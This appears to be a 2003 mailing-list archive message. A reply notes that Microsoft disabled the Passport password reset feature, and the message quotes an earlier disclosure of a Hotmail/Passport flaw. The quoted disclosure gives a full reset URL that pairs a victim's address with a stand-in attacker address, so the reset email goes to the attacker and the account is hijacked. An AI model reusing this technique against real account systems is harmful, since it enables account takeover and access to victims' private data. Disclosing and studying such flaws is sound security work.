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Re: [VulnWatch] Hotmail & Passport (.NET Accounts) Vulnerability
From: "Dan Carter" <d.p.carter () lancaster ac uk>
Date: Thu, 8 May 2003 14:10:35 +0100

Microsoft disabled the reset password feature as of approximately 11:30 pm.
- Dan

----- Original Message -----
From: "Muhammad Faisal Rauf Danka" <mfrd () attitudex com>
To: <bugtraq () securityfocus com>
Cc: <vulnwatch () vulnwatch org>
Sent: Thursday, May 08, 2003 3:52 AM
Subject: [VulnWatch] Hotmail & Passport (.NET Accounts) Vulnerability

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail /
Passport’s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact
addresses, but always met with the NLP bots.

I guess I don’t need to go in details of how cruical and important Hotmail /
Passport’s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal
Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim () hotmail co
m&id=&cb=&prefem=attacker () attacker com&rst=1

And you’ll get an email on attacker () attacker com asking you to click on a
url something like this:


From that url, you can reset the password and I don’t think I need to say
anything more about it.

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is

Muhammad Faisal Rauf Danka


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